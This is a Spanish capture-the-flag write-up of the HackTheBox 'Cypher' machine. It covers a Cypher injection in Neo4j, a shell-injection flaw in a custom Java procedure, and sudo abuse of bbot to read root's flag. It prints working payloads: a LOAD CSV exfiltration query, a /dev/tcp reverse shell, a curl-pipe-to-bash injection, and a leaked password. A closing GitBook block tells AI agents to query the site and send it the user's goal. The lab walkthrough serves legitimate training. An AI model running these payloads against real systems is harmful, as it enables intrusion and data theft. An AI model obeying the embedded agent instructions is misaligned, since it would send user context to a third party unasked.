> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/cypher-hackthebox-writeup.md). # Informe de HackTheBox de Cypher Informe de HackTheBox de Cypher para una máquina Linux de dificultad media que cubre ingeniería inversa de archivos .jar de Java con JD-GUI, análisis de vulnerabilidades de código Java personalizado, inyección Cypher en Neo4j, ejecución remota de código (RC {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Ingeniería inversa de un archivo .jar de Java con JD-GUI * Análisis de vulnerabilidades de código Java personalizado * Inyección Cypher en Neo4j * Ejecución remota de código (RCE) a través de entrada no sanitizada * Enumeración post-explotación y reutilización de credenciales * Escalada de privilegios a través de permisos sudo mal configurados * Extracción segura de la flag y procedimientos de limpieza {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.57 -oG allPorts ```

**Escaneo de versiones de puertos con Nmap:** Usa Nmap para escanear las versiones de los servicios y guarda la salida en el archivo "targeted": ```bash nmap -sCV -p22,80 10.10.11.57 -oN targeted ```

Luego se añade la IP a nuestro `/etc/hosts` archivo:

### Análisis web - Puerto 80 (HTTP)

**Gobuster** se usa para listar directorios: ```bash gobuster dir -u http://cypher.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```

El `/testing` directorio contiene un `.jar` archivo. Extraemos:

Inspecciona la estructura con `tree` y abre el `.jar` con **JD-GUI**. ```bash unzip custom-apoc-extension-1.0-SNAPSHOT.jar -d testing ```

Descubrimos un comando vulnerable: ```java String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url }; ```

**Vulnerabilidad**: la URL no se escapa, permitiendo una /*/* shell/*/* inyección. ## Inyección de Cypher en Neo4j Un formulario de inicio de sesión es vulnerable. Aparece un error cuando entre `'`.

Inyectamos un payload de Cypher para recuperar la versión de Neo4j: {% code overflow="wrap" %} ```json { "username": "' OR 1=1 WITH 1 AS a CALL dbms.components() YIELD versions UNWIND versions AS version LOAD CSV FROM 'http://10.10.14.90/?v=' + version AS l RETURN 0 AS _0 //", "password": "test" } ``` {% endcode %}

En nuestro servidor, recibimos la solicitud: ```bash python3 -m http.server 80 # --> 5.24.1 ```

### RCE mediante llamada a `custom.getUrlStatusCode()`

Coloca una shell inversa en `index.html`: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.80/443 0>&1 ``` Coloca una shell inversa en `index.html`: ```bash nc -nlvp 443 ``` Usa la inyección conjunta para llamar a este **custom.getUrlStatusCode** ```bash { "username": "admin' return h.value AS value UNION CALL custom.getUrlStatusCode(/"127.0.0.1;curl 10.10.14.90/index.html | bash;/") YIELD statusCode AS value RETURN value ; //", "password": "test" } ```

#### Mejora de la shell: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## Pivoting - Usuario Graphasm En `/home/graphasm/` hay un `pwn.py` archivo que contiene una contraseña

* cU4btyib.20xtCMCXkBmerhK #### Reutilización de la contraseña ### Bandera user.txt :)

## Escalada de privilegios ### Sudo - bbot (binario) Auditoría de sudo: ```bash sudo -l ``` El usuario puede ejecutar `/usr/local/bin/bbot` como root.

Contenido de `/usr/local/bin/bbot`: ```python #!/opt/pipx/venvs/bbot/bin/python # -*- coding: utf-8 -*- import re import sys from bbot.cli import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script/.pyw|/.exe)?$', '', sys.argv[0]) sys.exit(main()) ```

### Explotación : Este script simplemente transmite los argumentos a la función principal de `bbot`. Como podemos controlar los argumentos proporcionados, podemos usar una función de `bbot` para reproducir cualquier archivo — incluso aquellos que solo son accesibles por el usuario **root**. Tras consultar la ayuda o la documentación para usar `bbot`, identificamos opciones para especificar un archivo objetivo y un directorio de salida: ```bash sudo /usr/local/bin/bbot -t /root/root.txt -o /tmp/root -d ``` **Explicación :** * `-t /root/root.txt`: establece el archivo objetivo que se procesará. * `-o /tmp/root`: especifica el directorio de salida (donde se almacenarán los resultados). * `-d`: habilita el modo de depuración, en caso de que se necesite información adicional. Como el script se ejecuta con los **root** privilegios y no se realiza validación de las entradas ns, esto nos permite reproducir archivos arbitrarios, incluido el archivo final que contiene la **flag root**.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/cypher-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.